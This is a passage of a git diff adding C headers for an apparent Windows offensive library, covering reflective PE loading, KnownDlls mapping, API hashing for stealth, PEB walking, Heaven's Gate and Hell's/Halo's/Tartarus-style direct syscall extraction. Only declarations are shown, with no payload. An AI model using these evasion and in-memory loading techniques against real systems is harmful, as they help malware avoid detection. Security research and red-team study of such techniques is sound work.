required). + */ +typedef NTSTATUS(NTAPI *LdrLoadDll_t)(PWSTR PathToFile, // optional search path (NULL = default) + PULONG Flags, // optional flags (NULL = 0) + PSND_UNICODE_STRING ModuleFileName, PHANDLE ModuleHandle); + +typedef struct _SND_OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PSND_UNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} SND_OBJECT_ATTRIBUTES, *PSND_OBJECT_ATTRIBUTES; + +#define SND_InitializeObjectAttributes(p, n, a, r, s) \ + { \ + (p)->Length = sizeof(SND_OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +SND_END_EXTERN_C + +#endif // SND_INTERNAL_NT_DEFS_H diff --git a/include/sindri/loaders.h b/include/sindri/loaders.h new file mode 100644 index 0000000..d95a493 --- /dev/null +++ b/include/sindri/loaders.h @@ -0,0 +1,8 @@ +#ifndef SND_LOADERS_H +#define SND_LOADERS_H + +#include +#include +#include + +#endif // SND_LOADERS_H diff --git a/include/sindri/loaders/knowndlls/knowndlls.h b/include/sindri/loaders/knowndlls/knowndlls.h new file mode 100644 index 0000000..07a2df8 --- /dev/null +++ b/include/sindri/loaders/knowndlls/knowndlls.h @@ -0,0 +1,57 @@ +#ifndef SND_LOADERS_KNOWNDLLS_H +#define SND_LOADERS_KNOWNDLLS_H + +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +#if defined(_WIN64) +#define SND_TARGET_KNOWNDLLS_DIR L"\\KnownDlls\\" +#elif defined(_WIN32) +#define SND_TARGET_KNOWNDLLS_DIR L"\\KnownDlls32\\" +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif + +typedef snd_status_t(WINAPI *snd_knowndlls_open_section_cb)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, + PSND_OBJECT_ATTRIBUTES ObjectAttributes); + +typedef snd_status_t(WINAPI *snd_knowndlls_map_view_cb)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, + ULONG_PTR ZeroBits, SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, + DWORD InheritDisposition, ULONG AllocationType, + ULONG Win32Protect); + +typedef snd_status_t(WINAPI *snd_knowndlls_close_cb)(HANDLE Handle); + +/** + * @brief Configuration structure for the KnownDlls loader mapping technique. + */ +typedef struct { + snd_knowndlls_open_section_cb open_section; + snd_knowndlls_map_view_cb map_view_of_section; + snd_knowndlls_close_cb close_handle; +} snd_knowndlls_config_t; + +// Expose the available configurations to the caller +extern const snd_knowndlls_config_t snd_knowndlls_win; +extern const snd_knowndlls_config_t snd_knowndlls_native; + +/** + * @brief Maps a module from the \KnownDlls object directory into memory. + * + * @param config Pointer to the injected API configuration (Win32 or Native). + * @param dll_name The exact name of the DLL in the KnownDlls directory (e.g., + * L"ntdll.dll"). + * @param out_base_address Pointer to receive the base address of the mapped + * section. + * @return SND_OK on success, or an error code on failure. + */ +snd_status_t snd_map_knowndll(const snd_knowndlls_config_t *config, const wchar_t *dll_name, PVOID *out_base_address); + +SND_END_EXTERN_C + +#endif // SND_LOADERS_KNOWNDLLS_H diff --git a/include/sindri/loaders/reflective/chain.h b/include/sindri/loaders/reflective/chain.h new file mode 100644 index 0000000..5c9ba79 --- /dev/null +++ b/include/sindri/loaders/reflective/chain.h @@ -0,0 +1,36 @@ +#ifndef SND_LOADERS_REFLECTIVE_CHAIN_H +#define SND_LOADERS_REFLECTIVE_CHAIN_H + +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Executes the entire allocation and fixup chain. + * + * @param ctx Initialized loader context. + * @return SND_OK on success, otherwise the failing stage status. + * @note Wraps compatibility check, copy, relocation, imports, protections, and + * TLS. + */ +snd_status_t snd_prepare_reflective_image(snd_loader_ctx_t *ctx); + +/** + * @brief Executes the loaded image entry point. + * + * @param ctx Prepared loader context. + * @return SND_OK on success, otherwise execution error. + */ +snd_status_t snd_execute_reflective_image(snd_loader_ctx_t *ctx); + +/** + * @brief Cleans up and detaches the reflective image state. + * + * @param ctx Reflective loader context. + */ +void snd_detach_reflective_image(snd_loader_ctx_t *ctx); + +SND_END_EXTERN_C + +#endif // SND_LOADERS_REFLECTIVE_CHAIN_H diff --git a/include/sindri/loaders/reflective/engine.h b/include/sindri/loaders/reflective/engine.h new file mode 100644 index 0000000..a5fd88e --- /dev/null +++ b/include/sindri/loaders/reflective/engine.h @@ -0,0 +1,150 @@ +#ifndef SND_LOADERS_REFLECTIVE_ENGINE_H +#define SND_LOADERS_REFLECTIVE_ENGINE_H + +#include +#include +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +typedef struct { + LPVOID virtual_base; + LONG_PTR delta_offset; + LPVOID entry_point; + SIZE_T allocated_size; +} snd_pe_target_t; + +typedef enum { + SND_STAGE_UNINITIALIZED = 0, + SND_STAGE_PARSED, + SND_STAGE_MEM_ALLOCATED, + SND_STAGE_SECTIONS_MAPPED, + SND_STAGE_RELOCATED, + SND_STAGE_IMPORTS_RESOLVED, + SND_STAGE_READY_FOR_EXECUTION, + SND_STAGE_EXECUTED, +} snd_loader_stage_t; + +typedef struct { + const snd_buffer_t *raw_source; + snd_pe_parser_t pe; + snd_pe_target_t target; + snd_loader_stage_t stage; + + const snd_memory_api_t *mem_api; + const snd_module_api_t *mod_api; + +} snd_loader_ctx_t; + +/** + * @brief Portable macro to resolve and call a reflectively loaded DLL export + * with arbitrary arguments. + * @param ctx Pointer to the initialized loader context. + * @param name Plaintext string name of the target export function. + * @param signature The function pointer type signature to cast the export to. + * @param status_out A variable of type 'snd_status_t' that will receive the + * status result. + * @param ... The comma-separated arguments to pass directly to the + * target function. + */ +#define SND_CALL_EXPORT(ctx, name, signature, status_out, ...) \ + do { \ + FARPROC _proc = NULL; \ + (status_out) = snd_get_proc_address((ctx), (name), &_proc); \ + if ((status_out).code == SND_SUCCESS && _proc != NULL) { \ + ((signature)_proc)(__VA_ARGS__); \ + } \ + } while (0) + +/** + * @brief Portable macro to resolve and call a reflectively loaded DLL export + * and capture its return value. + * @param ctx Pointer to the initialized loader context. + * @param name Plaintext string name of the target export function. + * @param signature The function pointer type signature to cast the export to. + * @param status_out A variable of type 'snd_status_t' that will receive the + * status result. + * @param ret_out Variable to store the return value of the export. + * @param ... The comma-separated arguments to pass directly to the + * target function. + */ +#define SND_CALL_EXPORT_RET(ctx, name, signature, status_out, ret_out, ...) \ + do { \ + FARPROC _proc = NULL; \ + (status_out) = snd_get_proc_address((ctx), (name), &_proc); \ + if ((status_out).code == SND_SUCCESS && _proc != NULL) { \ + (ret_out) = ((signature)_proc)(__VA_ARGS__); \ + } \ + } while (0) + +/** + * @brief Validates payload architecture. + * @param ctx The loader context with parsed PE. + * @return SND_OK on match, otherwise SND_STATUS_ARCH_MISMATCH. + */ +snd_status_t snd_compatibility_check(snd_loader_ctx_t *ctx); + +/** + * @brief Allocates memory and copies sections. + * @param ctx The loader context. ctx->virtual_base will be populated on + * success. + * @return SND_OK on success, otherwise an allocation error. + */ +snd_status_t snd_allocate_and_copy_image(snd_loader_ctx_t *ctx); + +/** + * @brief Applies base relocation fixups. + * @param ctx The loader context containing the mapped virtual base. + * @return SND_OK on success, otherwise a relocation error. + */ +snd_status_t snd_apply_relocations(snd_loader_ctx_t *ctx); + +/** + * @brief Resolves imports and patches IAT. + * @param ctx The loader context. + * @return SND_OK on success, otherwise a resolution error. + */ +snd_status_t snd_resolve_imports(snd_loader_ctx_t *ctx); + +/** + * @brief Applies final section page protections. + * @param ctx The loader context. + * @return SND_OK on success, otherwise a protection error. + */ +snd_status_t snd_apply_memory_protections(snd_loader_ctx_t *ctx); + +/** + * @brief Executes TLS callbacks from a loaded image. + * @param ctx The loader context. + * @param reason The reason for the call (e.g., DLL_PROCESS_ATTACH). + */ +void snd_execute_tls_callbacks(snd_loader_ctx_t *ctx, DWORD reason); + +/** + * @brief Resolves the entry point pointer. + * @param ctx The loader context. + * @return SND_OK on success, error code on failure. + */ +snd_status_t snd_get_entry_point(snd_loader_ctx_t *ctx); + +/** + * @brief Resolves an exported symbol address. + * @param ctx The loader context. + * @param func_name Export name to resolve. + * @param func_addr_out Receives resolved export pointer. + * @return SND_OK on success, error code on failure. + */ +snd_status_t snd_get_proc_address(snd_loader_ctx_t *ctx, const char *func_name, FARPROC *func_addr_out); + +/** + * @brief Frees memory associated with the mapped reflective image. + * @param ctx The loader context. + */ +void snd_free_mapped_image(snd_loader_ctx_t *ctx); + +SND_END_EXTERN_C + +#endif // SND_LOADERS_REFLECTIVE_ENGINE_H diff --git a/include/sindri/parsers.h b/include/sindri/parsers.h new file mode 100644 index 0000000..18e6d0a --- /dev/null +++ b/include/sindri/parsers.h @@ -0,0 +1,6 @@ +#ifndef SND_PARSERS_H +#define SND_PARSERS_H + +#include + +#endif // SND_PARSERS_H diff --git a/include/sindri/parsers/pe.h b/include/sindri/parsers/pe.h new file mode 100644 index 0000000..d680063 --- /dev/null +++ b/include/sindri/parsers/pe.h @@ -0,0 +1,10 @@ +#ifndef SND_PARSERS_PE_H +#define SND_PARSERS_PE_H + +#include +#include +#include +#include +#include + +#endif diff --git a/include/sindri/parsers/pe/pe_exports.h b/include/sindri/parsers/pe/pe_exports.h new file mode 100644 index 0000000..86e1135 --- /dev/null +++ b/include/sindri/parsers/pe/pe_exports.h @@ -0,0 +1,63 @@ +#ifndef SND_PARSERS_PE_EXPORTS_H +#define SND_PARSERS_PE_EXPORTS_H + +#include "sindri_hashes.h" + +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Maximum recursion depth for resolving export forwarders. + * Prevents stack overflows from malicious or circular forwarder chains. + */ +#define SND_FWD_MAX_DEPTH 4 + +/** + * @brief Resolves the memory address of an exported function by name or + * ordinal. + * + * This function parses the Export Address Table (EAT). It supports resolving + * functions by name, by raw ordinal (using `INTRESOURCE`), and automatically + * handles NT Export Forwarders (e.g., forwarding a call to another DLL). + * + * @param base_address The base address of the mapped PE image. + * @param size The size of the mapped PE image. Can be + * `SND_SYS_DLL_SIZE_DEFAULT` to dynamically infer the size from the PE + * headers. + * @param func_name The name of the exported function, or a pointer-sized + * ordinal generated via the `MAKEINTRESOURCE` macro. + * @param func_addr_out Pointer that receives the resolved memory address on + * success. + * @param resolver Callback function used to load external dependencies if the + * requested export is a forwarder. If NULL, forwarder resolution will fail. + * @returns SND_OK on success, or an error status. + */ +snd_status_t snd_pe_get_export_address(PVOID base_address, SIZE_T size, const char *func_name, FARPROC *func_addr_out, + snd_module_resolver_cb resolver); + +/** + * @brief Resolves the memory address of an exported function using a DJB2 hash. + * + * An API-hashing alternative to `snd_pe_get_export_address` for use in + * stealthy or position-independent contexts where plain-text strings are + * avoided. + * + * @param base_address The base address of the mapped PE image. + * @param size The size of the mapped PE image. + * @param func_hash The custom hash of the exported function name. + * @param func_addr_out Pointer that receives the resolved memory address on + * success. + * @param resolver Callback function used to resolve external dependencies via + * hash if the requested export is a forwarder. If NULL, forwarders fail. + * @returns SND_OK on success, or an error status. + */ +snd_status_t snd_pe_get_export_address_by_hash(PVOID base_address, SIZE_T size, DWORD func_hash, FARPROC *func_addr_out, + snd_module_resolver_hash_cb resolver); + +SND_END_EXTERN_C + +#endif // SND_PARSERS_PE_EXPORTS_H diff --git a/include/sindri/parsers/pe/pe_imports.h b/include/sindri/parsers/pe/pe_imports.h new file mode 100644 index 0000000..f7e71d7 --- /dev/null +++ b/include/sindri/parsers/pe/pe_imports.h @@ -0,0 +1,43 @@ +#ifndef SND_PARSERS_PE_IMPORTS_H +#define SND_PARSERS_PE_IMPORTS_H + +#include +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @name PE Ordinal Flag Masks + * @brief Utilities for parsing `IMAGE_THUNK_DATA` entries within the Import + * Name Table (INT). According to the Portable Executable specification, if the + * highest-order bit (MSB) of a thunk entry is set, the function is imported by + * its numerical ordinal rather than by a string name. + */ + +// Checks if a 32-bit thunk entry matches an import-by-ordinal (MSB is set). +#define SND_PE_SNAP_BY_ORDINAL32(ordinal) ((ordinal) & 0x80000000) + +// Checks if a 64-bit thunk entry matches an import-by-ordinal (MSB is set). +#define SND_PE_SNAP_BY_ORDINAL64(ordinal) ((ordinal) & 0x8000000000000000ULL) + +// Strips the ordinal flag bit to extract the clean, 16-bit numerical ordinal +// ID. +#define SND_PE_ORDINAL(ordinal) ((ordinal) & 0xFFFF) + +/** + * @brief Resolves the imports of a PE image by loading the required modules and + * resolving their function addresses. + * @param base_address The base memory address where the PE is mapped. + * @param mod_api Pointer to the module API functions to use for resolving + * imports. + * @param parser Pointer to the PE parser to use for resolving imports. + * @return SND_OK on success, otherwise an error status. + */ +snd_status_t snd_pe_resolve_imports(PVOID base_address, const snd_module_api_t *mod_api, const snd_pe_parser_t *parser); + +SND_END_EXTERN_C + +#endif // SND_PARSERS_PE_IMPORTS_H diff --git a/include/sindri/parsers/pe/pe_parser.h b/include/sindri/parsers/pe/pe_parser.h new file mode 100644 index 0000000..5783470 --- /dev/null +++ b/include/sindri/parsers/pe/pe_parser.h @@ -0,0 +1,120 @@ +#ifndef SND_PARSERS_PE_PARSER_H +#define SND_PARSERS_PE_PARSER_H + +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Access utility for clean cross-bitness reads inside the + * implementation. + */ +#define SND_PE_GET_NT_FIELD(parser, field) ((parser)->is_64bit ? (parser)->nt.nt64->field : (parser)->nt.nt32->field) + +/** + * @warning SAFE HEADER BOOTSTRAP WINDOW & RESIDUAL RISK CAUTIONS + * This macro establishes a conservative 4KB (one virtual page) size limit. + * It serves as a secure bootstrap boundary for parsing the initial PE headers + * of in-memory or system DLLs where the total virtual size is not yet verified. + * + * Enforcing a 4KB window guarantees that if the target headers are + * intentionally truncated, malformed, or weaponized, the parser will fail + * cleanly inside the first page instead of blindly wandering out-of-bounds into + * unmapped memory. + * + * ! CRITICAL MEMORY FOOTPRINT REQUISITE: + * This approach assumes the underlying memory region has AT LEAST 4KB of valid + * backing allocation. If the source buffer was allocated with exact bounds + * smaller than 4KB (e.g., exactly 3KB) and a malformed header field references + * an offset within the unallocated window (e.g., 3.5KB), this 4KB boundary + * check will erroneously pass, triggering a physical Out-of-Bounds read. + * + * ! TRUST PARADOX (SizeOfImage Assumption): + * By implementing this bootstrap, the loader is forced to expand its tracking + * boundaries by trusting the payload's own `OptionalHeader.SizeOfImage` field. + * If an adversary feeds the loader an image with a fake, hyper-inflated size + * field, the parser will adopt it blindly. You must ensure downstream consumers + * of this parser handle an oversized virtual layout gracefully. + * + * ! CRITICAL LIFECYCLE MANDATE: + * Immediately after `snd_pe_parse` succeeds, you MUST extract the actual + * `OptionalHeader.SizeOfImage` and update the parser context's buffer size + * to encompass the full image layout. Leaving it clamped at 0x1000 will cause + * all subsequent directory parsing (imports, exports, relocations) to be + * rejected as out-of-bounds. + */ +#define SND_SYS_DLL_SIZE_DEFAULT 0x1000 + +/** + * @brief Context structure for the PE parser. + * @note Pointers inside this structure (dos, nt, section_head) point directly + * into the memory space backed by the `source` buffer. They do not own memory + * and their lifecycles are tied entirely to the validity of the underlying + * `source`. + */ +typedef struct { + snd_buffer_t source; // Backing buffer containing the raw or mapped PE data. + + PIMAGE_DOS_HEADER dos; + + union { + PIMAGE_NT_HEADERS32 nt32; + PIMAGE_NT_HEADERS64 nt64; + } nt; + + PIMAGE_SECTION_HEADER + section_head; // Points to the first element in the section header array. + + /** + * @brief Points to the COFF String Table (used for long section names). + * @note This is NULL for mapped/loaded images, as the string table is rarely + * copied to virtual memory space during manual mapping. + */ + BYTE *string_table; + + BOOL is_64bit; + BOOL is_dll; + + /** + * @brief Tracks the structural state of the `source` buffer. + * TRUE if the payload is aligned to its virtual memory layout (PE Sections + * mapped to VirtualAddresses). FALSE if the payload is in its raw disk layout + * (PE Sections mapped to PointerToRawData). + */ + BOOL is_mapped; + + DWORD sections_count; + DWORD imports_rva; + DWORD import_size; +} snd_pe_parser_t; + +/** + * @brief Parses a raw or mapped PE file buffer into a parsed PE representation. + * + * This function serves as the primary entry point for payload validation. It + * executes the initial bootstrap parse, validating the Magic DOS signature (MZ) + * and the NT headers signature (PE). Based on the headers, it dynamically sets + * the context bitness (32-bit vs 64-bit) and maps internal pointers differently + * depending on whether the source buffer is formatted as a raw disk file or an + * already aligned virtual image. + * + * @note This function performs **zero-copy parsing**. The pointers populated + * inside the `parser` context point directly into the memory space owned by the + * input `buf`. No heap allocations are performed. Consequently, the lifecycle + * of the populated `parser` structure is strictly bound to the lifetime and + * validity of the underlying `buf`. + * + * @param buf Raw buffer containing the PE file data. + * @param is_mapped TRUE if the buffer represents an already virtually aligned + * image, FALSE if it is a raw disk file layout. + * @param parser Pointer to the parser context to populate. + * @return SND_OK on success, or a contextual error status. + */ +snd_status_t snd_pe_parse(const snd_buffer_t *buf, BOOL is_mapped, snd_pe_parser_t *parser); + +SND_END_EXTERN_C + +#endif // SND_PARSERS_PE_PARSER_H diff --git a/include/sindri/parsers/pe/pe_relocations.h b/include/sindri/parsers/pe/pe_relocations.h new file mode 100644 index 0000000..438ee85 --- /dev/null +++ b/include/sindri/parsers/pe/pe_relocations.h @@ -0,0 +1,35 @@ +#ifndef SND_PARSERS_PE_RELOCATIONS_H +#define SND_PARSERS_PE_RELOCATIONS_H + +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Applies base relocations to a virtually mapped PE image. + * + * This function iterates through the Base Relocation Table (if present) and + * patches hardcoded absolute memory addresses to align with the actual runtime + * base address where the image was mapped. + * + * @note The memory mapped at `base_address` must have at least `PAGE_READWRITE` + * permissions before calling this function, as it physically overwrites memory + * inside the `.text` and `.data` sections. + * + * @param base_address The actual runtime base memory address where the PE is + * currently mapped. + * @param delta_offset The mathematical difference between the actual mapped + * base address and the payload's preferred base address + * (`OptionalHeader.ImageBase`). If this is 0, the function exits early. + * @param parser Pointer to the validated PE parser context. + * @return SND_OK on success, or a contextual error if the payload cannot be + * relocated (e.g., RELOCS_STRIPPED is set). + */ +snd_status_t snd_pe_apply_relocations(PVOID base_address, LONG_PTR delta_offset, const snd_pe_parser_t *parser); + +SND_END_EXTERN_C + +#endif // SND_PARSERS_PE_RELOCATIONS_H diff --git a/include/sindri/parsers/pe/pe_utils.h b/include/sindri/parsers/pe/pe_utils.h new file mode 100644 index 0000000..0277045 --- /dev/null +++ b/include/sindri/parsers/pe/pe_utils.h @@ -0,0 +1,69 @@ +#ifndef SND_PARSERS_PE_UTILS_H +#define SND_PARSERS_PE_UTILS_H + +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +#define SND_PE_MIN_FILE_ALIGNMENT 512 + +/** + * @brief Validates payload architecture compatibility. + * @param is_64bit TRUE if the payload is 64-bit, FALSE otherwise. + * @return TRUE if the architectures match, FALSE otherwise. + */ +BOOL snd_pe_compatibility_check(BOOL is_64bit); + +/** + * @brief Retrieves the absolute memory address of the PE Entry Point. + * + * @param parser The parsed PE image. + * @return Pointer to the entry point, or NULL if invalid/not found. + */ +void *snd_pe_get_entry_point(const snd_pe_parser_t *parser); + +/** + * @brief Retrieves the TLS callbacks from the PE image. + * + * @param base_address The base memory address of the PE image. + * @param parser The parsed PE image. + * @return A pointer to the TLS callbacks, or NULL if not found. + */ +PVOID snd_pe_get_tls_callbacks(PVOID base_address, const snd_pe_parser_t *parser); + +/** + * @brief Executes TLS callbacks. + * @param virtual_base The base address where the image is mapped. + * @param parser The parsed PE image. + * @param reason The reason for calling the TLS callbacks (e.g., + * DLL_PROCESS_ATTACH). + * @return A status indicating success or failure. + */ +snd_status_t snd_pe_execute_tls_callbacks(PVOID virtual_base, const snd_pe_parser_t *parser, DWORD reason); + +/** + * @brief Abstracted address translation. Converts an RVA to a mapped or file + * pointer. + * @param parser The parsed PE image. + * @param rva The Relative Virtual Address to convert. + * @param size The size of the expected data at the RVA for bounds checking. + * @return A direct pointer to the data, or NULL if out of bounds/invalid. + */ +PVOID snd_pe_rva_to_ptr(const snd_pe_parser_t *parser, DWORD rva, SIZE_T size); + +/** + * @brief Safely retrieves a PE Data Directory. + * @param parser The parsed PE image. + * @param index The directory index (e.g. IMAGE_DIRECTORY_ENTRY_IMPORT). + * @param dir_out Output pointer to store the retrieved directory. + * @return SND_OK on success, SND_STATUS_DIRECTORY_NOT_FOUND or other + * errors. + */ +snd_status_t snd_pe_get_directory(const snd_pe_parser_t *parser, DWORD index, IMAGE_DATA_DIRECTORY *dir_out); + +SND_END_EXTERN_C + +#endif // SND_PARSERS_PE_UTILS_H diff --git a/include/sindri/primitives.h b/include/sindri/primitives.h new file mode 100644 index 0000000..c77f15a --- /dev/null +++ b/include/sindri/primitives.h @@ -0,0 +1,13 @@ +#ifndef SND_PRIMITIVES_H +#define SND_PRIMITIVES_H + +#include +#include +#include +#include +#include +#include +#include +#include + +#endif // SND_PRIMITIVES_H diff --git a/include/sindri/primitives/ffi.h b/include/sindri/primitives/ffi.h new file mode 100644 index 0000000..2f84e0b --- /dev/null +++ b/include/sindri/primitives/ffi.h @@ -0,0 +1,31 @@ +#ifndef SND_PRIMITIVES_FFI_H +#define SND_PRIMITIVES_FFI_H + +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Invokes an arbitrary function pointer at runtime using a generic + * argument array. + * + * @param pFunctionAddress Pointer to the target function. Must not be NULL; + * passing NULL causes an immediate return of 0. + * @param dwArgCount Number of entries in @p pArgs. May be 0 for + * zero-argument calls. + * @param pArgs Array of @p dwArgCount UINT_PTR-sized arguments. + * Ignored (and may be NULL) when @p dwArgCount is 0. + * + * @return The value returned by the invoked function as a UINT_PTR, or 0 if + * @p pFunctionAddress is NULL or the current architecture is unsupported. + * + * @note Callee-saved registers (RBX, RBP, RDI, RSI, R12-R15) are preserved + * by the assembly bridge. The caller is responsible for ensuring that + * the argument types and count are compatible with the target function. + */ +UINT_PTR snd_execute_dynamic(PVOID pFunctionAddress, DWORD dwArgCount, const UINT_PTR *pArgs); + +SND_END_EXTERN_C + +#endif // SND_PRIMITIVES_FFI_H diff --git a/include/sindri/primitives/heavens_gate.h b/include/sindri/primitives/heavens_gate.h new file mode 100644 index 0000000..dd9a587 --- /dev/null +++ b/include/sindri/primitives/heavens_gate.h @@ -0,0 +1,33 @@ +#ifndef SND_PRIMITIVES_HEAVENS_GATE_H +#define SND_PRIMITIVES_HEAVENS_GATE_H + +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Checks if the current 32-bit process is running under WOW64 (64-bit + * OS). + * @note This reads the WOW32Reserved field directly from the TEB. + * @return TRUE if running under WOW64, FALSE otherwise. + */ +BOOL snd_is_wow64(void); + +/** + * @brief Invokes a 64-bit function from a 32-bit WOW64 process using Heaven's + * Gate. + * + * @param pFunctionAddress The 64-bit virtual address of the target function. + * @param dwArgCount Number of arguments to pass to the 64-bit function (Max: + * 6). + * @param pArgs Array of 64-bit arguments. + * @param pResult Pointer to store the 64-bit return value (RAX). + * @return SND_OK on success, or an appropriate error code if unsupported. + */ +snd_status_t snd_hg_execute_64(UINT64 pFunctionAddress, DWORD dwArgCount, const UINT64 *pArgs, UINT64 *pResult); + +SND_END_EXTERN_C + +#endif // SND_PRIMITIVES_HEAVENS_GATE_H diff --git a/include/sindri/primitives/memory.h b/include/sindri/primitives/memory.h new file mode 100644 index 0000000..8ab6da9 --- /dev/null +++ b/include/sindri/primitives/memory.h @@ -0,0 +1,15 @@ +#ifndef SND_PRIMITIVES_MEMORY_H +#define SND_PRIMITIVES_MEMORY_H + +#include +#include + +SND_BEGIN_EXTERN_C + +// Expose globally available, ready-to-use WinAPI capabilities +extern const snd_memory_api_t snd_mem_win; +extern const snd_memory_api_t snd_mem_native; + +SND_END_EXTERN_C + +#endif // SND_PRIMITIVES_MEMORY_H diff --git a/include/sindri/primitives/modules.h b/include/sindri/primitives/modules.h new file mode 100644 index 0000000..bcd149a --- /dev/null +++ b/include/sindri/primitives/modules.h @@ -0,0 +1,15 @@ +#ifndef SND_PRIMITIVES_MODULES_H +#define SND_PRIMITIVES_MODULES_H + +#include +#include + +SND_BEGIN_EXTERN_C + +// Expose globally available, ready-to-use WinAPI capabilities +extern const snd_module_api_t snd_mod_win; +extern const snd_module_api_t snd_mod_native; + +SND_END_EXTERN_C + +#endif // SND_PRIMITIVES_MODULES_H diff --git a/include/sindri/primitives/ntdll.h b/include/sindri/primitives/ntdll.h new file mode 100644 index 0000000..c5f1d08 --- /dev/null +++ b/include/sindri/primitives/ntdll.h @@ -0,0 +1,23 @@ +#ifndef SND_PRIMITIVES_NTDLL_H +#define SND_PRIMITIVES_NTDLL_H + +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Sets the global base address of the ntdll.dll module. + * @param ntdll_base The base address of the ntdll module. + */ +void snd_set_ntdll(PVOID ntdll_base); + +/** + * @brief Retrieves the global base address of the ntdll.dll module. + * @return The base address of the ntdll module, or NULL if not set. + */ +PVOID snd_get_ntdll(void); + +SND_END_EXTERN_C + +#endif // SND_PRIMITIVES_NTDLL_H diff --git a/include/sindri/primitives/os_api.h b/include/sindri/primitives/os_api.h new file mode 100644 index 0000000..9bcd6fb --- /dev/null +++ b/include/sindri/primitives/os_api.h @@ -0,0 +1,52 @@ +#ifndef SND_PRIMITIVES_OS_API_H +#define SND_PRIMITIVES_OS_API_H + +#include +#include +#include + +SND_BEGIN_EXTERN_C + +// Memory Capabilities +typedef snd_status_t(WINAPI *snd_memory_alloc_cb)(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect, + LPVOID *out_address); +typedef snd_status_t(WINAPI *snd_memory_free_cb)(LPVOID address, SIZE_T size, DWORD free_type); +typedef snd_status_t(WINAPI *snd_memory_protect_cb)(LPVOID address, SIZE_T size, DWORD new_protect, DWORD *old_protect); + +// Module Capabilities +typedef snd_status_t(WINAPI *snd_module_load_cb)(const char *module_name, HMODULE *out_module); +typedef snd_status_t(WINAPI *snd_module_get_proc_cb)(HMODULE hModule, const char *proc_name, FARPROC *out_proc); +typedef snd_status_t(WINAPI *snd_module_resolver_cb)(const wchar_t *module_name, PVOID *out_base); + +// Module Capabilities (Hashes) +typedef snd_status_t(WINAPI *snd_module_load_hash_cb)(DWORD module_hash, HMODULE *out_module); +typedef snd_status_t(WINAPI *snd_module_get_proc_hash_cb)(HMODULE hModule, DWORD proc_hash, FARPROC *out_proc); +typedef snd_status_t(WINAPI *snd_module_resolver_hash_cb)(DWORD module_hash, PVOID *out_base); + +/** + * @brief Local Memory Management API table. + */ +typedef struct { + snd_memory_alloc_cb alloc; + snd_memory_free_cb free; + snd_memory_protect_cb protect; +} snd_memory_api_t; + +/** + * @brief Module and Import Resolution API table. + */ +typedef struct { + // String-based resolution + snd_module_load_cb load_library; + snd_module_get_proc_cb get_proc_address; + snd_module_resolver_cb get_module_base; + + // Hash-based resolution + snd_module_load_hash_cb load_library_hash; + snd_module_get_proc_hash_cb get_proc_address_hash; + snd_module_resolver_hash_cb get_module_base_hash; +} snd_module_api_t; + +SND_END_EXTERN_C + +#endif // SND_PRIMITIVES_OS_API_H diff --git a/include/sindri/primitives/peb.h b/include/sindri/primitives/peb.h new file mode 100644 index 0000000..f8400a3 --- /dev/null +++ b/include/sindri/primitives/peb.h @@ -0,0 +1,29 @@ +#ifndef SND_PEB_H +#define SND_PEB_H + +#include "sindri_hashes.h" + +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Safely locates the base address of a loaded module by walking the PEB. + * @param module_name Case-insensitive target name (e.g., L"ntdll.dll") + * @return Base pointer to the module, or NULL if not found. + */ +snd_status_t WINAPI snd_peb_get_module_base(const wchar_t *module_name, PVOID *out_base); + +/** + * @brief Safely locates the base address of a loaded module by walking the PEB + * and comparing hashes. + * @param module_hash The hash of the target name. + * @return Base pointer to the module, or NULL if not found. + */ +snd_status_t WINAPI snd_peb_get_module_base_by_hash(DWORD module_hash, PVOID *out_base); + +SND_END_EXTERN_C + +#endif // SND_PEB_H diff --git a/include/sindri/primitives/syscalls.h b/include/sindri/primitives/syscalls.h new file mode 100644 index 0000000..21bd1a7 --- /dev/null +++ b/include/sindri/primitives/syscalls.h @@ -0,0 +1,81 @@ +#ifndef SND_PRIMITIVES_SYSCALLS_COMMON_H +#define SND_PRIMITIVES_SYSCALLS_COMMON_H + +#include +#include +#include +#include +#include + +SND_BEGIN_EXTERN_C + +/** + * @brief Syscall entry structure holding the address, hash, and syscall number. + */ +typedef struct { + PVOID pAddress; + DWORD dwHash; + WORD wSystemCall; +} snd_syscall_entry_t; + +/** + * @brief Arguments struct passed to the generic ASM syscall invoker. + */ +typedef struct { + WORD ssn; + PVOID arg1; + PVOID arg2; + PVOID arg3; + PVOID arg4; + PVOID arg5; + PVOID arg6; + PVOID arg7; + PVOID arg8; + PVOID arg9; + PVOID arg10; +} snd_syscall_args_t; + +/** + * @brief Universal function signature for any syscall resolution strategy. + * Any custom or future gate can be plugged into the engine if it matches this. + */ +typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out); + +snd_status_t snd_hell_extract_syscall(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out); +snd_status_t snd_halo_extract_syscall(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out); +snd_status_t snd_tartarus_extract_syscall(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out); +snd_status_t snd_veles_extract_syscall(PVOID ntdll_base, DWORD func_hash, 